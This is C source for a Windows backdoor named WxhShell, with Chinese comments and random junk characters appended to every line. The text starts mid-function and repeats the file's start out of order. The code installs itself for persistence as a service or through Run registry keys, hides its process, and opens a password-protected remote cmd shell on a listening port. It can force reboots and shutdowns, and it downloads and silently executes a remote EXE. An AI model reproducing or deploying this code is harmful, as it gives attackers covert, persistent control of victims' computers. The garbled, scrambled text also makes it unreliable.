    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B$j,:^  
    if(Boot(SHUTDOWN)) nK$m:=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f}4h}Cq  
    else { g?wogCs5  
    closesocket(wsh); S/aPYrk>6  
    ExitThread(0); i"@?eq#h  
    } #'oKkrl  
    break; eS|p3jk;  
    } wAYc)u#  
  // 获取shell n\4+xZr  
  case 's': { DTY=k  
    CmdShell(wsh); . b"e`Bw_=  
    closesocket(wsh); z=sqO'~  
    ExitThread(0); TvR2lP  
    break; e2Dj%=`EU  
  } }, H,ky  
  // 退出 oR }  
  case 'x': { A{vG@Pwc:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ub%q<sE*  
    CloseIt(wsh); >v{m^|QqB  
    break; OZ&aTm :  
    } ?{V[bm  
  // 离开 2},}R'aR  
  case 'q': { E {MSi"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *`W82V  
    closesocket(wsh); QX4I+x~oo\  
    WSACleanup(); 6pse @x?  
    exit(1); &wfM:a/c  
    break; _)Ms9RN  
        } :?TV6M  
  } Q=[&~^ Y)  
  } 4ET P  
T&%>/7I>  
  // 提示信息 uIu0"pv`x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wU3Q  
} 6S(3tvUr  
  } s`{O-  
1JM~Ls%Z  
  return; Yr!3mU-Uvt  
} l"Css~^  
+W}f0@#)<  
// shell模块句柄 {`:!=  
int CmdShell(SOCKET sock) XjC+kH  
{ SE\`JGA[  
STARTUPINFO si; ~_q\?pw<$L  
ZeroMemory(&si,sizeof(si)); 1+]e?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C$_H)I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y9C]-zEv  
PROCESS_INFORMATION ProcessInfo; OG.`\G|  
char cmdline[]="cmd"; +XQ6KG&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sU>*S$X8  
  return 0; S7V;sR"V2  
} -V\33cA  
^E9@L ??  
// 自身启动模式 vUW!  
int StartFromService(void) J[9jNCq|  
{ (GZm+?  
typedef struct Qr/?tMALc  
{ q+N}AKawB  
  DWORD ExitStatus; ZnQnv@{8 l  
  DWORD PebBaseAddress; h"[ ][  
  DWORD AffinityMask; cu Nwv(P  
  DWORD BasePriority; 7Kn=[2J5k'  
  ULONG UniqueProcessId; % R'eV<  
  ULONG InheritedFromUniqueProcessId; 1vobfZ-w9  
}   PROCESS_BASIC_INFORMATION; +q3W t|  
;m\E9ple  
PROCNTQSIP NtQueryInformationProcess; L-fAT'!'  
XVY^m}pMe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M+Dkn3bx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0-=QQOART\  
7n#0eska,  
  HANDLE             hProcess; R (6Jvub"I  
  PROCESS_BASIC_INFORMATION pbi; }ts?ZR^V,  
LG;xZQx'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /6>2,S8Ar  
  if(NULL == hInst ) return 0; t]Vw` z%G  
J?%Z7&/M>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g|W~0A@D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^b&aDm~(7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uu(.,11`  
D@mDhhK_  
  if (!NtQueryInformationProcess) return 0; @#sQ7eMoy  
r&^4L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :kgwKuhL  
  if(!hProcess) return 0; H>M0G L  
$)kIYM&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 55hJRm3  
o8bV z2E  
  CloseHandle(hProcess); J`\%'pEn  
IUwY/R9Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _))_mxV{  
if(hProcess==NULL) return 0; sjztT<{Q^-  
GK:*|jV  
HMODULE hMod; bw+~5pqM  
char procName[255]; 7kleBDDT  
unsigned long cbNeeded; U%2pbGU  
pp/Cn4"w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $vicxE~-E  
e -x{7  
  CloseHandle(hProcess); \\BblzGMR  
I/fERnHM/+  
if(strstr(procName,"services")) return 1; // 以服务启动 AM,@BnEcuT  
.{~ygHQ`f  
  return 0; // 注册表启动 i_I`Y  
} *|MPYxJ<  
I8e{%PK  
// 主模块 Gu9Ap<>!  
int StartWxhshell(LPSTR lpCmdLine) 5q@o,d  
{ ~G ,n>  
  SOCKET wsl; aZ- )w  
BOOL val=TRUE; v"\Q/5p  
  int port=0; =f?|f  
  struct sockaddr_in door; yG{'hx6H  
SkVW8n*s  
  if(wscfg.ws_autoins) Install(); !y `wAm>n  
XP~4jOL]  
port=atoi(lpCmdLine); KTd4pW?w  
H"].G^V\6  
if(port<=0) port=wscfg.ws_port; ]#KZ W)M  
0vf2wBK'T  
  WSADATA data; t d-EB&i\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,\xeNUZd  
yLG`tU1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AI/xOd!a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D'c, z[  
  door.sin_family = AF_INET; ig)rK<@*[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j8_WEjG  
  door.sin_port = htons(port); /a(xUm@.  
[$ vAjP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U_B"B;ng+  
closesocket(wsl); !ku5P+y$  
return 1; K9 :I8E<  
} 4F^(3RKZ|  
5$`ihO?  
  if(listen(wsl,2) == INVALID_SOCKET) { lt`#or"o  
closesocket(wsl); T\NvN&h-  
return 1; 2a 3i]e5Kt  
} ,=.&  
  Wxhshell(wsl); Ox Zw;yD  
  WSACleanup(); z%<Z#5_N  
Kp!sn,:  
return 0; ZEiW\ V  
]9pK^<  
} t n>$5}^;  
g/'CX}g`  
// 以NT服务方式启动 b<u   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4en[!*  
{ Hw-,sze j"  
DWORD   status = 0; i?.MD+f8  
  DWORD   specificError = 0xfffffff; /\q1,}M  
Ml@,xJ/aia  
  serviceStatus.dwServiceType     = SERVICE_WIN32; mQ*:?\@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pdUrVmW"'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *F42GiBZR  
  serviceStatus.dwWin32ExitCode     = 0; :<=A1>&8  
  serviceStatus.dwServiceSpecificExitCode = 0; *fQ$s  
  serviceStatus.dwCheckPoint       = 0; -]C3_ve  
  serviceStatus.dwWaitHint       = 0; z<YOA  
@zSI@Oq_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QVA)&k'T,  
  if (hServiceStatusHandle==0) return; p~vq1D6  
qq9fZZb  
status = GetLastError(); Z/n\Ak sE  
  if (status!=NO_ERROR) t2Q40' `  
{ = Bz yI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Yx>y(Whu.  
    serviceStatus.dwCheckPoint       = 0; PQ9.aJdw@-  
    serviceStatus.dwWaitHint       = 0; !#wd~: H  
    serviceStatus.dwWin32ExitCode     = status; T1sb6CT  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,<!_MNw[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f mXU)  
    return; ?0QoYA@.$  
  } c((^l&  
nK=-SQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?nN3K   
  serviceStatus.dwCheckPoint       = 0; +0lvQVdp}  
  serviceStatus.dwWaitHint       = 0; MLf,5f;e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XMzL\Edo  
} cK6M8:KW  
tu {y  
// 处理NT服务事件,比如:启动、停止 %<8@NbF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jLRUWg  
{ j[2?}?  
switch(fdwControl) eJD !dGa  
{ |a/1mUxQ&  
case SERVICE_CONTROL_STOP: 46^LPC"x  
  serviceStatus.dwWin32ExitCode = 0; I`"B<=zi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4|i.b?"  
  serviceStatus.dwCheckPoint   = 0; 2@ 4^ 81  
  serviceStatus.dwWaitHint     = 0; ?fF{M%i-%  
  { rBG8.E36J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )xtDiDB  
  } woIcW  
  return; g!%C_AI   
case SERVICE_CONTROL_PAUSE: gQHE2$i>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -OY[x|0  
  break; Gc6`]7 s  
case SERVICE_CONTROL_CONTINUE: 'fB/6[bd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m E<n=g=  
  break; =pHWqGOD  
case SERVICE_CONTROL_INTERROGATE: v}w=I}<x  
  break; ^ ]Mlkd:  
}; -UgD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GMD>Ih.k:9  
} h!#!}|Q'  
K5(:UIWx  
// 标准应用程序主函数  =FZt  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZLK@x.=  
{ h ]'VAt  
f?xc-lX5R  
// 获取操作系统版本 L_$M9G|5n  
OsIsNt=GetOsVer(); qSj$0Hq5XI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Nc4e,>$]&  
#)im9LLC#  
  // 从命令行安装 SVvR]T&_  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4.@gV/U(|  
e*[M*u  
  // 下载执行文件 {UX[SAQ  
if(wscfg.ws_downexe) { =l&A9 >\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y>eypfK"  
  WinExec(wscfg.ws_filenam,SW_HIDE); i7^_y3dG  
} /*B^@G|]'  
~ $I2{I#W  
if(!OsIsNt) { e [D'0L  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vj.5b0/(  
HideProc(); ;1`NsYI2  
StartWxhshell(lpCmdLine); N?j,'gy4  
} !Pmv  
else RU`m|<  
  if(StartFromService()) >icK]W  
  // 以服务方式启动 'IrwlS  
  StartServiceCtrlDispatcher(DispatchTable); XO |U4 #ya  
else ti`R  
  // 普通方式启动 ^%|(dMo4  
  StartWxhshell(lpCmdLine); 41swG  
eit>4xMu  
return 0; ~O{sOl _<4  
} ,^JP0Vc*  
(0%0+vY  
L@rKG~{Xy  
%;,D:Tv=&  
=========================================== 5p&&EA/  
AuZ?~I1  
xe)< )y  
 5" U8|  
h#bpog  
C3`2{1  
" Z+"%MkX0  
J[<3Je=>$  
#include <stdio.h> 5utMZ>%w_#  
#include <string.h> Mnpb".VU#T  
#include <windows.h> >iP>v`J  
#include <winsock2.h> 7`3he8@ze  
#include <winsvc.h> A0*u(15%  
#include <urlmon.h> \$J!B&i  
x9PEYhL?  
#pragma comment (lib, "Ws2_32.lib") &,':@OQ  
#pragma comment (lib, "urlmon.lib") !ViHC}:   
O'JH= '  
#define MAX_USER   100 // 最大客户端连接数 U[~BW[[@f  
#define BUF_SOCK   200 // sock buffer (E)/' sEb  
#define KEY_BUFF   255 // 输入 buffer {m}B=u  
d87pQ3e:&  
#define REBOOT     0   // 重启 >VqMSe_v  
#define SHUTDOWN   1   // 关机 DSix(bs9  
m^_)aS  
#define DEF_PORT   5000 // 监听端口 & Qghm o  
hD\C[C,  
#define REG_LEN     16   // 注册表键长度 nM8aC&Rd\  
#define SVC_LEN     80   // NT服务名长度 GpF,=:  
D00rO4~6D%  
// 从dll定义API ,K7C2PV6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eU7RO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hmkcW r`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  6" 3!9JC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K@*m6)  
_*Vq1D]C  
// wxhshell配置信息 -tx)7KV-  
struct WSCFG { @N.W#<IG  
  int ws_port;         // 监听端口 h bj^!0m  
  char ws_passstr[REG_LEN]; // 口令 Y_PCL9G{p  
  int ws_autoins;       // 安装标记, 1=yes 0=no oTOe(5N8a  
  char ws_regname[REG_LEN]; // 注册表键名 Mz]LFM  
  char ws_svcname[REG_LEN]; // 服务名 1`_Mc ]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4$.UVW\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2ok>z$Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hFa\x5I5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~"Ek X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x#dJH9NR[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6@o_MtI  
sutj G`m  
}; x)#k$ QU  
xKsn);].`  
// default Wxhshell configuration e~rBV+f  
struct WSCFG wscfg={DEF_PORT, !0Xes0gK0  
    "xuhuanlingzhe", xNxIqq<k  
    1, #_7}O0?c3  
    "Wxhshell", ?\hXJih  
    "Wxhshell", 9FV#@uA}D  
            "WxhShell Service", M~N'z /  
    "Wrsky Windows CmdShell Service", R52q6y:<x  
    "Please Input Your Password: ", )IZ$R*Y{  
  1, *N'B(j/  
  "http://www.wrsky.com/wxhshell.exe", Kt}dTpVFr  
  "Wxhshell.exe" @292;qi  
    }; +$},Hu69j  
#3u8BLy$Q  
// 消息定义模块 D>*%zz|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3)0*hq&83  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T_AZCl4d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NV9=~c x  
char *msg_ws_ext="\n\rExit."; %q>gwq A  
char *msg_ws_end="\n\rQuit."; Vg[U4,  
char *msg_ws_boot="\n\rReboot..."; wm2Q(l*HH  
char *msg_ws_poff="\n\rShutdown..."; Mm.!$uR  
char *msg_ws_down="\n\rSave to "; Kq!n `@  
e1&c_"TOih  
char *msg_ws_err="\n\rErr!"; k7y!! AV  
char *msg_ws_ok="\n\rOK!"; ?Cu#(  
8-8= \  
char ExeFile[MAX_PATH]; f"Iv  
int nUser = 0; } A# C  
HANDLE handles[MAX_USER]; U7x}p^B9\N  
int OsIsNt; ol`]6"Sc  
N;[w`d'#  
SERVICE_STATUS       serviceStatus; >!WJ{M0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <j,7Z>Rk\x  
:syR4A WM  
// 函数声明 ]Dx?HBM"DC  
int Install(void); $/wr?  
int Uninstall(void); 2! wz#EC  
int DownloadFile(char *sURL, SOCKET wsh); I/^Lr_\  
int Boot(int flag); @RaMO#  
void HideProc(void); o_G.J4 V  
int GetOsVer(void); MF E%q  
int Wxhshell(SOCKET wsl); PS=crU@"H  
void TalkWithClient(void *cs); z5Nw+#m| i  
int CmdShell(SOCKET sock); PVtQ&m$y  
int StartFromService(void); Uc9Uj  
int StartWxhshell(LPSTR lpCmdLine); I|R9@  
>J8?n,*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'Y"q=@Ei9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'mmyzsQ \6  
[|F.*06SK  
// 数据结构和表定义 *4(.=k  
SERVICE_TABLE_ENTRY DispatchTable[] = , H[o.r=  
{ cIgFSwQ 4  
{wscfg.ws_svcname, NTServiceMain}, )O7Mfr  
{NULL, NULL} +JQN=nTA  
}; mfx 'Yw*{  
fYCAwS{  
// 自我安装 p(x[zn+%Y  
int Install(void) iWtWT1n8n  
{ 92} , A`=  
  char svExeFile[MAX_PATH]; oEi +S)_  
  HKEY key; \j K?R 6  
  strcpy(svExeFile,ExeFile); St(7@)gvY  
x3M`l|  
// 如果是win9x系统,修改注册表设为自启动 a{u)~:/G  
if(!OsIsNt) { PqP)<d '/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v=X\@27= ?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~^3B(feQ]  
  RegCloseKey(key); HWs?,AJNxB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >eU;lru2Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x&?35B i  
  RegCloseKey(key); khEHMvVH  
  return 0; rP>5OLP  
    } %Y!lEzB5  
  } sjzZl*GSy  
} / ?Q@Pn  
else { OY@/18D<>  
l5@k8tnz  
// 如果是NT以上系统,安装为系统服务 G-;pMFP(?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;>YJ}:r"\  
if (schSCManager!=0) h7%<  
{ U :IQWlC  
  SC_HANDLE schService = CreateService o!j? )0d  
  ( 5$9j&&R  
  schSCManager, >B3_P4pW9  
  wscfg.ws_svcname, KWd]?e)  
  wscfg.ws_svcdisp, ousoG$Pc  
  SERVICE_ALL_ACCESS, ^srx/6X  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y%Saz+  
  SERVICE_AUTO_START, L%=u&9DmU  
  SERVICE_ERROR_NORMAL, DuCq16'0T  
  svExeFile, :@n e29,}  
  NULL, a7M8sZ?"  
  NULL, n!f @JHL  
  NULL, <ZCjQkka>r  
  NULL, EpPKo  
  NULL 7<X_\,I  
  ); )kg^.tP  
  if (schService!=0) +VzR9ksJj  
  { m}8c.OJ>K`  
  CloseServiceHandle(schService); _%.atW7  
  CloseServiceHandle(schSCManager); G0<m3 Up  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R{Cj]:Ky  
  strcat(svExeFile,wscfg.ws_svcname); c!6.D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6&h,eQ!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q?JP\_o:  
  RegCloseKey(key); 5J1,Usm  
  return 0; +AXui|mn  
    } y/ vE  
  } l? 7D0  
  CloseServiceHandle(schSCManager); w 8T#~Dc  
} 4R}2H>VV%  
} Dy0RZF4_  
VYik#n>|Gp  
return 1; 8BBuYY {  
} 0riTav8  
j#.Aiy:,  
// 自我卸载 q,kdr)-  
int Uninstall(void) PC=b.H8P+W  
{ C+jlIT+  
  HKEY key; ;5dJ5_}  
"){"{~  
if(!OsIsNt) { Me2%X>;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kwWDGA?zFB  
  RegDeleteValue(key,wscfg.ws_regname); }-!0d*I  
  RegCloseKey(key); CKy' 8I9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8+^q9rLii  
  RegDeleteValue(key,wscfg.ws_regname); f{G ^b&x  
  RegCloseKey(key); }~y i6!w'  
  return 0; 2w+w'Ag_R  
  } UM3}7|  
} lE'2\kxI?  
} <0T|RhbY   
else { K>N\U@@8i  
EWrIDZi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VMXccT9i!  
if (schSCManager!=0) +d>?aqI\A  
{ yX0n yhq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <Y:{>=  
  if (schService!=0) Y;-$w|&P>  
  { whxTCIV  
  if(DeleteService(schService)!=0) { h'jc4mu0  
  CloseServiceHandle(schService); 9sJ=Nldq  
  CloseServiceHandle(schSCManager); ) [+82~F  
  return 0; FC@h6 \+a  
  } k#liYw I  
  CloseServiceHandle(schService); ^CO{86V  
  } 0Ta&o-e  
  CloseServiceHandle(schSCManager); 9sG]Q[:.]  
} %PM&`c98z7  
} SMoJKr(:w#  
\2)D  
return 1; 70Jx[3vr  
} G!dx)v  
^F,sV*  
// 从指定url下载文件 KW-GVe%8f  
int DownloadFile(char *sURL, SOCKET wsh) _rM?g1}5j  
{ ,.9k)\/V  
  HRESULT hr; mX 3p   
char seps[]= "/"; *IX<&u#  
char *token; ckGmwYP9  
char *file; z_93j3 #  
char myURL[MAX_PATH]; xP4}LL9)  
char myFILE[MAX_PATH]; >Q $ph=  
' _d4[Olu  
strcpy(myURL,sURL); B6=?Qp/f  
  token=strtok(myURL,seps); aD]! eP/)  
  while(token!=NULL) y+3+iT@i  
  { 0civXZgj  
    file=token; vAp<Muj(a  
  token=strtok(NULL,seps); qv& Bai[  
  } }@eIO|  
n{u\t+f  
GetCurrentDirectory(MAX_PATH,myFILE); sSd/\Ap  
strcat(myFILE, "\\"); .G.WPVE  
strcat(myFILE, file); 28k=@k^q  
  send(wsh,myFILE,strlen(myFILE),0); 8EI9&L>  
send(wsh,"...",3,0); o]E L=j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  ^M{,{bG  
  if(hr==S_OK) WQ{[q" O  
return 0; aaP_^m O  
else ],_+J *  
return 1; fuzB;Ea  
Xu8I8nAwl  
} Y{D%v  
'IG@JL'  
// 系统电源模块 W:,Wex^9n  
int Boot(int flag) M@#T`aS  
{ J$Z=`=] t+  
  HANDLE hToken; H1 I^Vij  
  TOKEN_PRIVILEGES tkp; Q_U.J0  
_ Ao$)Gu)  
  if(OsIsNt) { (J[Xryub  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Hs*["zFc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B2e"   
    tkp.PrivilegeCount = 1; ?u|@,tQ[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =A.$~9P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TjyL])$  
if(flag==REBOOT) { >~SS^I0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yEq7ueJ'  
  return 0; -~mgct5  
} tO&ffZP8$  
else { 0V4B Q:v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I|U'@E  
  return 0; _p^ "l2%D/  
} fes s6=k  
  } B1V{3  
  else { ?@ F2Kv  
if(flag==REBOOT) { VG);om7`PD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1@DC#2hPr  
  return 0; V5 w1ET  
} gv''A"  
else { 8NWo)y49H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W6&vyOc  
  return 0; Qc; kj  
} /8FmPCp}r  
} Ax;=Zh<DAv  
bC/":+s& p  
return 1; <Dd>- K  
} d9K8[Q5^3  
f8Iddm#  
// win9x进程隐藏模块 T$I_nxh[)L  
void HideProc(void) TmsIyDcD~  
{ T3X'73M  
q`q;og `  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ilA45@  
  if ( hKernel != NULL ) s/E|Z1pg3  
  { {KG6#/%;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CkT(\6B-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8]ZzO(=@{  
    FreeLibrary(hKernel);  .Q{RT p  
  } 0cd_l 2f#g  
`*C=R  _  
return; 9} (w*>_L  
} R4m {D  
e-nA>v  
// 获取操作系统版本 o*S_"  
int GetOsVer(void) "& ,ov#  
{ K3T.l#d'L  
  OSVERSIONINFO winfo; E/P~HE{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S<tw5!tJ  
  GetVersionEx(&winfo); @5Xo2}o-Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CU'JvVe3  
  return 1; Ri.tA  
  else g7\ =  
  return 0; CXa[%{[n  
} 0 j.K?]f)h  
Xz$4cI#n:  
// 客户端句柄模块 Lc*>sOm9  
int Wxhshell(SOCKET wsl) ^*K=wE}AG  
{ '7Gv_G_  
  SOCKET wsh; {&  o^p!  
  struct sockaddr_in client; YW7W6mWspS  
  DWORD myID; X8 nos  
ekM? ' 9ez  
  while(nUser<MAX_USER) dY*q[N/pO  
{ bSB%hFp=Cp  
  int nSize=sizeof(client); Harg<l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2u"lc'9v  
  if(wsh==INVALID_SOCKET) return 1; y0zMK4b  
"6B7EH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g^AQBF  
if(handles[nUser]==0) h>N}M}8  
  closesocket(wsh); XzUGlrp:Y#  
else nhV"V`|d  
  nUser++; g@.$P>Bh  
  } ;_<R +w3-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ] lB zpD  
ARk(\,h  
  return 0; 18X@0e  
} +$2{u_m,  
,g*!NK_:5t  
// 关闭 socket I \:WD"  
void CloseIt(SOCKET wsh) -dntV=  
{ e+ xQ\LH  
closesocket(wsh); ,_[x|8m  
nUser--; K1& QAXyP  
ExitThread(0); hW^,' m  
} NvR{S /Z  
hHs/Qtq  
// 客户端请求句柄 5>k:PKHL  
void TalkWithClient(void *cs) y<)TYr  
{ |3H+b,M5  
Q$jEmmm%V[  
  SOCKET wsh=(SOCKET)cs; Gp"GTPT{  
  char pwd[SVC_LEN]; fgLjF,Y  
  char cmd[KEY_BUFF]; dzVi ~wt_&  
char chr[1]; Z8$}Rpo  
int i,j; D=tZ}_'{t  
d,<ni"  
  while (nUser < MAX_USER) { FpoH m%+  
IqOg{#sm  
if(wscfg.ws_passstr) { ]hl*6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kfy!T rf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0|3I^b  
  //ZeroMemory(pwd,KEY_BUFF); C2 N+X(  
      i=0; <izQ]\kL  
  while(i<SVC_LEN) { |s8N  
O-iE0t  
  // 设置超时 .*O*@)}Ud  
  fd_set FdRead; *}[\%u$ T  
  struct timeval TimeOut; "wUIsuG/p  
  FD_ZERO(&FdRead); b#j:)PA0C  
  FD_SET(wsh,&FdRead); rhv~H"qzW  
  TimeOut.tv_sec=8; +WX/4_STV  
  TimeOut.tv_usec=0; g \mE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '&>"`q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QX,$JM3  
/l$x}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2YD\KXDo  
  pwd=chr[0]; /dnwN7Gf  
  if(chr[0]==0xd || chr[0]==0xa) { <_?zln:4.  
  pwd=0; b R\7j+*&  
  break; JsEJ6!1  
  } bS_#3T  
  i++; spK8^sh  
    } 0K!3Ny9(  
s%[F,hQRk  
  // 如果是非法用户,关闭 socket QM$UxWo-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qwTz7r  
} 3m1g"  
| dQ>)_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )p& g!qA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hp dI5  
=SDex.ZK]  
while(1) { rPxRGoR  
u?').c4  
  ZeroMemory(cmd,KEY_BUFF); 4pmeu:26  
?hoOSur+  
      // 自动支持客户端 telnet标准   yD[d%w  
  j=0; #^FM~5KK  
  while(j<KEY_BUFF) { @T1G#[C~t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4.A^5J'W  
  cmd[j]=chr[0]; !$I~3_c  
  if(chr[0]==0xa || chr[0]==0xd) { t}t(fJHY`  
  cmd[j]=0; X9>fE{)!  
  break; s 6Wp"V(  
  } _[:6.oNjIe  
  j++; ct+F\:e  
    } 6)[moR{N1  
j cd<'\;  
  // 下载文件 Y,L`WeQY.  
  if(strstr(cmd,"http://")) { 5(;Y&?k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A|biOz  
  if(DownloadFile(cmd,wsh)) uHbg&eW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q~`hn(S  
  else e02Hf{eOfw  
